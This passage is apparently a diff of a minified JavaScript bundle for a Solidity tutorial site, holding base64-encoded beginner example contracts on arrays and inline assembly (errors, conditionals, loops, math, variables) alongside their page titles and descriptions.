cm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K"},{fileName:"ArrayReplaceFromEnd.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg=="}],fy=`

                  Array can have a compile-time fixed size or a dynamic size.

                  +`,WA=({prev:s,next:a})=>r.jsx(u,{version:mA,title:bA,description:wA,html:ZA,prev:s,next:a,codes:kA}),BA="0.8.24",GA="Array",VA="Learn about arrays in Solidity",fA=[{fileName:"Array.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5IHsKICAgIC8vIFNldmVyYWwgd2F5cyB0byBpbml0aWFsaXplIGFuIGFycmF5CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKICAgIHVpbnQyNTZbXSBwdWJsaWMgYXJyMiA9IFsxLCAyLCAzXTsKICAgIC8vIEZpeGVkIHNpemVkIGFycmF5LCBhbGwgZWxlbWVudHMgaW5pdGlhbGl6ZSB0byAwCiAgICB1aW50MjU2WzEwXSBwdWJsaWMgbXlGaXhlZFNpemVBcnI7CgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnJbaV07CiAgICB9CgogICAgLy8gU29saWRpdHkgY2FuIHJldHVybiB0aGUgZW50aXJlIGFycmF5LgogICAgLy8gQnV0IHRoaXMgZnVuY3Rpb24gc2hvdWxkIGJlIGF2b2lkZWQgZm9yCiAgICAvLyBhcnJheXMgdGhhdCBjYW4gZ3JvdyBpbmRlZmluaXRlbHkgaW4gbGVuZ3RoLgogICAgZnVuY3Rpb24gZ2V0QXJyKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gcHVzaCh1aW50MjU2IGkpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwZW5kIHRvIGFycmF5CiAgICAgICAgLy8gVGhpcyB3aWxsIGluY3JlYXNlIHRoZSBhcnJheSBsZW5ndGggYnkgMS4KICAgICAgICBhcnIucHVzaChpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwb3AoKSBwdWJsaWMgewogICAgICAgIC8vIFJlbW92ZSBsYXN0IGVsZW1lbnQgZnJvbSBhcnJheQogICAgICAgIC8vIFRoaXMgd2lsbCBkZWNyZWFzZSB0aGUgYXJyYXkgbGVuZ3RoIGJ5IDEKICAgICAgICBhcnIucG9wKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGVuZ3RoKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnIubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2IGluZGV4KSBwdWJsaWMgewogICAgICAgIC8vIERlbGV0ZSBkb2VzIG5vdCBjaGFuZ2UgdGhlIGFycmF5IGxlbmd0aC4KICAgICAgICAvLyBJdCByZXNldHMgdGhlIHZhbHVlIGF0IGluZGV4IHRvIGl0J3MgZGVmYXVsdCB2YWx1ZSwKICAgICAgICAvLyBpbiB0aGlzIGNhc2UgMAogICAgICAgIGRlbGV0ZSBhcnJbaW5kZXhdOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4YW1wbGVzKCkgZXh0ZXJuYWwgewogICAgICAgIC8vIGNyZWF0ZSBhcnJheSBpbiBtZW1vcnksIG9ubHkgZml4ZWQgc2l6ZSBjYW4gYmUgY3JlYXRlZAogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYSA9IG5ldyB1aW50MjU2W10oNSk7CiAgICB9Cn0K"},{fileName:"ArrayRemoveByShifting.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVtb3ZlQnlTaGlmdGluZyB7CiAgICAvLyBbMSwgMiwgM10gLS0gcmVtb3ZlKDEpIC0tPiBbMSwgMywgM10gLS0+IFsxLCAzXQogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDZdIC0tIHJlbW92ZSgyKSAtLT4gWzEsIDIsIDQsIDUsIDYsIDZdIC0tPiBbMSwgMiwgNCwgNSwgNl0KICAgIC8vIFsxLCAyLCAzLCA0LCA1LCA2XSAtLSByZW1vdmUoMCkgLS0+IFsyLCAzLCA0LCA1LCA2LCA2XSAtLT4gWzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K"},{fileName:"ArrayReplaceFromEnd.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg=="}],YA=`

                  Array can have a compile-time fixed size or a dynamic size.

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3302,7 +3302,7 @@ Each slot in the array can store 32 bytes.
                  
         assert(arr[1] == 4);
     }
 }
-
                  `,Yy=({prev:s,next:a})=>r.jsx(u,{version:Wy,title:Gy,description:By,html:fy,prev:s,next:a,codes:Vy}),Ry="0.8.24",Xy="Assembly Error",vy="Example of error in assembly",Ny=[{fileName:"AssemblyError.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50MjU2IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K"}],Hy=`

                  Example of error in assembly

                  +`,RA=({prev:s,next:a})=>r.jsx(u,{version:BA,title:GA,description:VA,html:YA,prev:s,next:a,codes:fA}),XA="0.8.24",vA="Assembly Error",NA="Example of error in assembly",HA=[{fileName:"AssemblyError.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50MjU2IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K"}],FA=`

                  Example of error in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3316,7 +3316,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,Fy=({prev:s,next:a})=>r.jsx(u,{version:Ry,title:Xy,description:vy,html:Hy,prev:s,next:a,codes:Ny}),Ky="0.8.24",Sy="Assembly Conditional Statements",My="Example of conditional statements in assembly",xy=[{fileName:"AssemblyIf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfc3dpdGNoKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDEgeyB6IDo9IDEwIH0KICAgICAgICAgICAgY2FzZSAyIHsgeiA6PSAyMCB9CiAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IDAgfQogICAgICAgIH0KICAgIH0KfQo="}],Jy=`

                  Example of conditional statements in assembly

                  +`,KA=({prev:s,next:a})=>r.jsx(u,{version:XA,title:vA,description:NA,html:FA,prev:s,next:a,codes:HA}),SA="0.8.24",MA="Assembly Conditional Statements",xA="Example of conditional statements in assembly",JA=[{fileName:"AssemblyIf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfc3dpdGNoKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDEgeyB6IDo9IDEwIH0KICAgICAgICAgICAgY2FzZSAyIHsgeiA6PSAyMCB9CiAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IDAgfQogICAgICAgIH0KICAgIH0KfQo="}],zA=`

                  Example of conditional statements in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3340,7 +3340,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,zy=({prev:s,next:a})=>r.jsx(u,{version:Ky,title:Sy,description:My,html:Jy,prev:s,next:a,codes:xy}),Ey="0.8.24",Uy="Assembly Loop",Ty="Example of loop in assembly",Qy=[{fileName:"AssemblyLoop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsgeiA6PSBhZGQoeiwgMSkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfd2hpbGVfbG9vcCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGkgOj0gMAogICAgICAgICAgICBmb3Ige30gbHQoaSwgNSkge30gewogICAgICAgICAgICAgICAgaSA6PSBhZGQoaSwgMSkKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],Dy=`

                  Example of loop in assembly

                  +`,EA=({prev:s,next:a})=>r.jsx(u,{version:SA,title:MA,description:xA,html:zA,prev:s,next:a,codes:JA}),DA="0.8.24",TA="Assembly Loop",UA="Example of loop in assembly",QA=[{fileName:"AssemblyLoop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsgeiA6PSBhZGQoeiwgMSkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfd2hpbGVfbG9vcCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGkgOj0gMAogICAgICAgICAgICBmb3Ige30gbHQoaSwgNSkge30gewogICAgICAgICAgICAgICAgaSA6PSBhZGQoaSwgMSkKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],_A=`

                  Example of loop in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3361,7 +3361,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,Ly=({prev:s,next:a})=>r.jsx(u,{version:Ey,title:Uy,description:Ty,html:Dy,prev:s,next:a,codes:Qy}),_y="0.8.24",Oy="Assembly Math",Py="Example of math in assembly",$y=[{fileName:"AssemblyMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24geXVsX211bCh1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDAgeyB6IDo9IDAgfQogICAgICAgICAgICBkZWZhdWx0IHsKICAgICAgICAgICAgICAgIHogOj0gbXVsKHgsIHkpCiAgICAgICAgICAgICAgICBpZiBpc3plcm8oZXEoZGl2KHosIHgpLCB5KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIFJvdW5kIHRvIG5lYXJlc3QgbXVsdGlwbGUgb2YgYgogICAgZnVuY3Rpb24geXVsX2ZpeGVkX3BvaW50X3JvdW5kKHVpbnQyNTYgeCwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBiID0gMTAwCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyB6ID0gOTAgLyAxMDAgKiAxMDAgPSAwLCB3YW50IHogPSAxMDAKICAgICAgICAgICAgLy8geiA6PSBtdWwoZGl2KHgsIGIpLCBiKQoKICAgICAgICAgICAgbGV0IGhhbGYgOj0gZGl2KGIsIDIpCiAgICAgICAgICAgIHogOj0gYWRkKHgsIGhhbGYpCiAgICAgICAgICAgIHogOj0gbXVsKGRpdih6LCBiKSwgYikKICAgICAgICAgICAgLy8geCA9IDkwCiAgICAgICAgICAgIC8vIGhhbGYgPSA1MAogICAgICAgICAgICAvLyB6ID0gOTAgKyA1MCA9IDE0MAogICAgICAgICAgICAvLyB6ID0gMTQwIC8gMTAwICogMTAwID0gMTAwCiAgICAgICAgfQogICAgfQp9Cg=="}],qy=`

                  Example of math in assembly

                  +`,LA=({prev:s,next:a})=>r.jsx(u,{version:DA,title:TA,description:UA,html:_A,prev:s,next:a,codes:QA}),OA="0.8.24",PA="Assembly Math",$A="Example of math in assembly",qA=[{fileName:"AssemblyMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24geXVsX211bCh1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDAgeyB6IDo9IDAgfQogICAgICAgICAgICBkZWZhdWx0IHsKICAgICAgICAgICAgICAgIHogOj0gbXVsKHgsIHkpCiAgICAgICAgICAgICAgICBpZiBpc3plcm8oZXEoZGl2KHosIHgpLCB5KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIFJvdW5kIHRvIG5lYXJlc3QgbXVsdGlwbGUgb2YgYgogICAgZnVuY3Rpb24geXVsX2ZpeGVkX3BvaW50X3JvdW5kKHVpbnQyNTYgeCwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBiID0gMTAwCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyB6ID0gOTAgLyAxMDAgKiAxMDAgPSAwLCB3YW50IHogPSAxMDAKICAgICAgICAgICAgLy8geiA6PSBtdWwoZGl2KHgsIGIpLCBiKQoKICAgICAgICAgICAgbGV0IGhhbGYgOj0gZGl2KGIsIDIpCiAgICAgICAgICAgIHogOj0gYWRkKHgsIGhhbGYpCiAgICAgICAgICAgIHogOj0gbXVsKGRpdih6LCBiKSwgYikKICAgICAgICAgICAgLy8geCA9IDkwCiAgICAgICAgICAgIC8vIGhhbGYgPSA1MAogICAgICAgICAgICAvLyB6ID0gOTAgKyA1MCA9IDE0MAogICAgICAgICAgICAvLyB6ID0gMTQwIC8gMTAwICogMTAwID0gMTAwCiAgICAgICAgfQogICAgfQp9Cg=="}],sy=`

                  Example of math in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3406,7 +3406,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,sA=({prev:s,next:a})=>r.jsx(u,{version:_y,title:Oy,description:Py,html:qy,prev:s,next:a,codes:$y}),aA="0.8.24",nA="Assembly Variable",lA="Example of how to declare variable inside assembly",pA=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],eA=`

                  Example of how to declare variables inside assembly

                  +`,ay=({prev:s,next:a})=>r.jsx(u,{version:OA,title:PA,description:$A,html:sy,prev:s,next:a,codes:qA}),ny="0.8.24",ly="Assembly Variable",py="Example of how to declare variable inside assembly",ey=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],cy=`

                  Example of how to declare variables inside assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3420,7 +3420,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,cA=({prev:s,next:a})=>r.jsx(u,{version:aA,title:nA,description:lA,html:eA,prev:s,next:a,codes:pA}),tA="0.8.24",oA="Bitwise Operators",rA="Learn about bitwise operators in 